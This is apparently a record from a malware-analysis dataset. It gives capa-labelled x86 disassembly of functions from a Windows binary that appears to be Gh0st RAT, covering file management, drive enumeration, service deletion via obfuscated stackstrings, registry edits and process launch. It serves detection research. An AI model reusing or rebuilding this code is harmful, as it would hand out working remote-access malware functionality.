joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004b61
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10017548
push 0x100169cc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push str.GetFileAttributesA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
and dword [ebp - 4], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov edi, eax
mov dword [ebp - 0x28], edi
test edi, edi
je 0x10004cbc
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10004c23
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10004c23
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10004bfe
cmp al, 0x5c
je 0x10004bfe
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10004be6
cmp byte [esi], 0
je 0x10004c07
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10004c1c
cmp al, 0x5c
je 0x10004c1c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10004c04
cmp byte [esi], 0
je 0x10004c42
jmp 0x10004c3e
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10004c42
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10004c42
cmp al, 0x5c
jne 0x10004c42
inc esi
mov dword [ebp - 0x1c], esi
or ebx, 0xffffffff
mov al, byte [esi]
test al, al
je 0x10004c9c
cmp al, 0x5c
jne 0x10004c8e
and byte [esi], 0
push edi
call dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
cmp eax, ebx
jne 0x10004c77
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10004c8b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jmp 0x10004c7c
and eax, 0x10
cmp al, 0x10
je 0x10004c8b
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
mov dword [ebp - 4], ebx
jmp 0x10004cc0
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10004c45
mov dword [ebp - 4], ebx
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
mov al, 1
jmp 0x10004cc2
or dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10004cd3
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x358
push ebx
push esi
push edi
push str.strstr
push str.MSVCRT.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x104
mov dword [ebp - 0xc], eax
xor edi, edi
push esi
lea eax, [ebp - 0x164]
push edi
push eax
mov dword [ebp - 8], esi
call sub.MSVCRT.dll_memset
push 0x2e
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 0x14
cmp eax, edi
je 0x10004db3
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push edi
push eax
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004db3
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x164]
push eax
push edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
call edi
push dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call ebx
push 0x1f4
lea eax, [ebp - 0x358]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x358]
push str._s_shellopencommand
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x358]
push 0
push eax
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10004dba
xor al, al
jmp 0x10004e76
push esi
lea eax, [ebp - 0x164]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
xor esi, esi
push eax
lea eax, [ebp - 0x164]
push eax
push esi
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call ebx
lea eax, [ebp - 0x164]
push 0x1001d378
push eax
call dword [ebp - 0xc]
pop ecx
cmp eax, esi
pop ecx
jne 0x10004e33
lea eax, [ebp - 0x164]
push 0x1001d374
push eax
call dword [ebp - 0xc]
pop ecx
cmp eax, esi
pop ecx
jne 0x10004e33
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x164]
push 0x1001d370
push eax
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x164]
push eax
call edi
jmp 0x10004e3d
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], esi
pop ecx
lea edi, [ebp - 0x5c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x60], 0x44
je 0x10004e5a
mov dword [ebp - 0x58], str.WinSta0Default
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x164]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x10004e7d
Capabilities:
Get disk information
Get disk size
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x784
push ebx
push esi
lea eax, [ebp - 0x224]
push edi
push eax
mov dword [ebp - 0x20], ecx
push 0x100
mov byte [ebp - 0x784], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor ebx, ebx
push 1
cmp byte [ebp - 0x224], bl
lea edi, [ebp - 0x224]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
pop esi
je 0x10005016
jmp 0x10004ed2
xor ebx, ebx
push 0x104
lea eax, [ebp - 0x124]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x124]
push 0x104
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea eax, [ebp - 0x384]
push 0x160
push eax
push 0x80
push edi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea eax, [ebp - 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea eax, [ebp - 0x124]
push eax
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov dword [ebp - 0xc], eax
mov al, byte [edi]
cmp al, 0x41
je 0x10004f80
cmp al, 0x42
je 0x10004f80
lea eax, [ebp - 0x14]
push 0
push eax
lea eax, [ebp - 0x1c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x10004f80
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 0x14
pop ecx
call fcn.100169e0
mov edx, dword [ebp - 0x18]
push 0x14
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x1c]
pop ecx
call fcn.100169e0
mov dword [ebp - 4], eax
jmp 0x10004f88
and dword [ebp - 8], 0
and dword [ebp - 4], 0
mov al, byte [edi]
push edi
mov byte [ebp + esi - 0x784], al
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [ebp + esi - 0x783], al
lea eax, [ebp - 8]
push 4
push eax
lea eax, [ebp + esi - 0x782]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 4]
push 4
push eax
lea eax, [ebp + esi - 0x77e]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x274]
push ebx
push eax
lea eax, [ebp + esi - 0x77a]
push eax
call sub.MSVCRT.dll_memcpy
push dword [ebp - 0xc]
lea eax, [ebp - 0x124]
push eax
lea eax, [ebx + esi]
lea eax, [ebp + eax - 0x77a]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0xc]
add esp, 0x30
add eax, ebx
push edi
lea esi, [esi + eax + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [edi + eax + 1], 0
lea edi, [edi + eax + 1]
jne 0x10004ed0
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x784]
push esi
push eax
call fcn.1000ac3e
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100051e1
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.KERNEL32.dll
push str.FindNextFileA
mov dword [ebp - 8], ecx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.FindFirstFileA
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
mov ebx, dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov edi, eax
push ebx
lea eax, [ebp - 0x24c]
push str._s.
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x24c]
push eax
call edi
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x10005253
xor al, al
jmp 0x100052cf
mov edi, 0x1001d2c0
cmp byte [ebp - 0x11c], 0x2e
je 0x100052a9
test byte [ebp - 0x148], 0x10
lea eax, [ebp - 0x11c]
push eax
push ebx
push edi
je 0x10005290
lea eax, [ebp - 0x454]
push eax
call esi
mov ecx, dword [ebp - 8]
add esp, 0x10
lea eax, [ebp - 0x454]
push eax
call fcn.100051e1
jmp 0x100052a9
lea eax, [ebp - 0x350]
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x350]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x148]
push eax
push dword [ebp + 8]
call dword [ebp - 4]
test eax, eax
jne 0x10005258
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x100052d6
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
mov esi, ecx
push str.LocalFree
push str.KERNEL32.dll
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edi, edi
add esi, 0x20
push 0x104
push edi
push esi
mov dword [ebp - 0x10], eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
push esi
call sub.MSVCRT.dll_strcpy
add esp, 0x14
push edi
push 0x80
push 3
push edi
push 1
push bind
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000533e
xor eax, eax
jmp 0x100053b3
lea eax, [ebp - 4]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
call ebx
mov edi, eax
add edi, 0xa
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
mov byte [esi], 0x69
mov eax, dword [ebp - 4]
add esp, 0xc
mov dword [esi + 1], eax
mov eax, dword [ebp - 8]
push dword [ebp + 8]
mov dword [esi + 5], eax
call ebx
inc eax
push eax
lea eax, [esi + 9]
push dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0xc]
add esp, 0xc
push edi
push esi
call fcn.1000ac3e
push esi
mov edi, eax
call dword [ebp - 0x10]
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x100053b9
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov ebx, ecx
push str.LocalFree
push str.KERNEL32.dll
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [ebp + 8]
mov dword [ebp - 0xc], eax
cmp dword [edi + 4], 0xffffffff
jne 0x100053f8
mov ecx, ebx
call fcn.10005499
xor eax, eax
jmp 0x10005492
xor esi, esi
add ebx, 0x20
push esi
push 0x80
push 3
push esi
push 1
push bind
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
or eax, 0xffffffff
cmp ebx, eax
je 0x10005492
push esi
push edi
push dword [edi + 4]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push 8
push edi
lea eax, [esi + 1]
mov byte [esi], 0x6a
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
push 0
push eax
lea eax, [esi + 9]
push 0x1ff7
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
test eax, eax
jbe 0x10005483
mov ecx, dword [ebp - 8]
add eax, 9
push eax
push esi
call fcn.1000ac3e
mov dword [ebp + 8], eax
jmp 0x1000548b
mov ecx, dword [ebp - 8]
call fcn.10005499
push esi
call dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x1000590b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov edi, ecx
mov eax, dword [esi]
push 0x80
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
push 3
mov dword [ebp + 8], eax
push 0
push 2
lea eax, [edi + 0x20]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
push 4
add dword [ebp + 8], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0x14], 0x70
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0xf]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
lea eax, [ebp - 0x14]
mov ecx, edi
push 9
push eax
call fcn.1000ac3e
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x10005b57
Capabilities:
Contain obfuscated stackstrings
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10017558
push 0x100169cc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x55c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x540], ebx
mov dword [ebp - 0x13c], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x13c], eax
push 0xf01ff
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x540], esi
cmp dword [ebp - 0x13c], ebx
jne 0x10005bc8
cmp esi, ebx
je 0x10005d6e
lea eax, [ebp - 0x138]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x10005d6e
cmp dword [ebp - 0x134], 1
je 0x10005c0a
lea eax, [ebp - 0x138]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10005d6e
push 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov byte [ebp - 0x56c], 0x53
mov byte [ebp - 0x56b], 0x59
mov byte [ebp - 0x56a], 0x53
mov byte [ebp - 0x569], 0x54
mov byte [ebp - 0x568], 0x45
mov byte [ebp - 0x567], 0x4d
mov byte [ebp - 0x566], 0x5c
mov byte [ebp - 0x565], 0x43
mov byte [ebp - 0x564], 0x75
mov byte [ebp - 0x563], 0x72
mov byte [ebp - 0x562], 0x72
mov byte [ebp - 0x561], 0x65
mov byte [ebp - 0x560], 0x6e
mov byte [ebp - 0x55f], 0x74
mov byte [ebp - 0x55e], 0x43
mov byte [ebp - 0x55d], 0x6f
mov byte [ebp - 0x55c], 0x6e
mov byte [ebp - 0x55b], 0x74
mov byte [ebp - 0x55a], 0x72
mov byte [ebp - 0x559], 0x6f
mov byte [ebp - 0x558], 0x6c
mov byte [ebp - 0x557], 0x53
mov byte [ebp - 0x556], 0x65
mov byte [ebp - 0x555], 0x74
mov byte [ebp - 0x554], 0x5c
mov byte [ebp - 0x553], 0x53
mov byte [ebp - 0x552], 0x65
mov byte [ebp - 0x551], 0x72
mov byte [ebp - 0x550], 0x76
mov byte [ebp - 0x54f], 0x69
mov byte [ebp - 0x54e], 0x63
mov byte [ebp - 0x54d], 0x65
mov byte [ebp - 0x54c], 0x73
mov byte [ebp - 0x54b], 0x5c
mov byte [ebp - 0x54a], 0x25
mov byte [ebp - 0x549], 0x73
mov byte [ebp - 0x548], bl
push str.SHDeleteKeyA
push str.SHLWAPI.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x544], eax
push 0x400
push ebx
lea eax, [ebp - 0x53c]
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x56c]
push eax
lea eax, [ebp - 0x53c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x53c]
push eax
push reloc.WS2_32.dll_bind
call dword [ebp - 0x544]
or dword [ebp - 4], 0xffffffff
call fcn.10005d8e
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005dae
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x52c
push ebx
push esi
push edi
xor ebx, ebx
push 0x104
lea eax, [ebp - 0x12c]
push ebx
push eax
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x59
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], bl
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x52c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x12c]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x12c]
push ebx
push eax
mov edi, str.Load_Path
push 1
lea eax, [ebp - 0x52c]
push edi
mov esi, reloc.WS2_32.dll_bind
push eax
push esi
call fcn.1000accf
push 3
push ebx
push ebx
push 1
lea eax, [ebp - 0x52c]
push edi
push eax
push esi
call fcn.1000b214
add esp, 0x3c
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x10005ee2
inc ebx
cmp ebx, 0x19
jl 0x10005ec0
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005f36
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push edi
lea eax, [ebp - 0x108]
push 0x104
push eax
xor edi, edi
push dword [ebp + 8]
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
push edi
push 3
push edi
push 1
lea eax, [ebp - 0x108]
push bind
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x10005f80
xor eax, eax
jmp 0x10005fd6
push esi
push 2
push edi
push 0xfffffc00
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, 0x400
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ebx, eax
lea eax, [ebp - 4]
push edi
push eax
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push esi
push dword [ebp + 0xc]
push ebx
call fcn.10005ee7
add esp, 0x10
cmp eax, 0xffffffff
pop esi
jne 0x10005fd4
push ebx
call fcn.100168e6
pop ecx
jmp 0x10005f7c
add eax, ebx
pop edi
pop ebx
leave
ret
Function at 0x10005fda
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
and byte [ebp - 2], 0
and dword [ebp - 0x28], 0
lea eax, [ebp - 0x24]
push 0x1f4
push eax
lea eax, [ebp - 0x220]
push eax
mov byte [ebp - 0x24], 0x53
mov byte [ebp - 0x23], 0x59
mov byte [ebp - 0x22], 0x53
mov byte [ebp - 0x21], 0x54
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x4d
mov byte [ebp - 0x1e], 0x5c
mov byte [ebp - 0x1d], 0x43
mov byte [ebp - 0x1c], 0x75
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x43
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xb], 0x53
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x76
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], 0x63
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], 0x5c
call dword [sym.imp.MSVCRT.dll_strncpy]
push dword [ebp + 8]
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x220]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [ebp - 0x2c]
push 4
push eax
push 4
push 0
push str.Type
push dword [ebp - 0x28]
mov dword [ebp - 0x2c], 0x120
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret
Function at 0x100060e2
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
and byte [ebp - 6], 0
and dword [ebp - 4], 0
and dword [ebp - 0x2c], 0
push esi
push edi
lea eax, [ebp - 0x28]
push 0x1f4
push eax
lea eax, [ebp - 0x228]
mov byte [ebp - 0x28], 0x53
push eax
mov byte [ebp - 0x27], 0x59
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
call dword [sym.imp.MSVCRT.dll_strncpy]
push dword [ebp + 8]
lea eax, [ebp - 0x228]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x228]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 4
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
push 0
push str.Type
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, eax
call esi
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp - 4]
call esi
mov eax, dword [ebp - 0x2c]
pop edi
pop esi
leave
ret

Function at 0x1000688c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x2f
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
pop ecx
inc esi
pop ecx
je 0x100068b4
push esi
push dword [ebp + 8]
call fcn.1000f6fc
pop ecx
test al, al
pop ecx
jne 0x100068b8
xor al, al
jmp 0x100068f4
push edi
push 0x10
pop ecx
xor eax, eax
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push str.Gh0st_Update
push esi
mov dword [ebp - 0x4c], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
leave
ret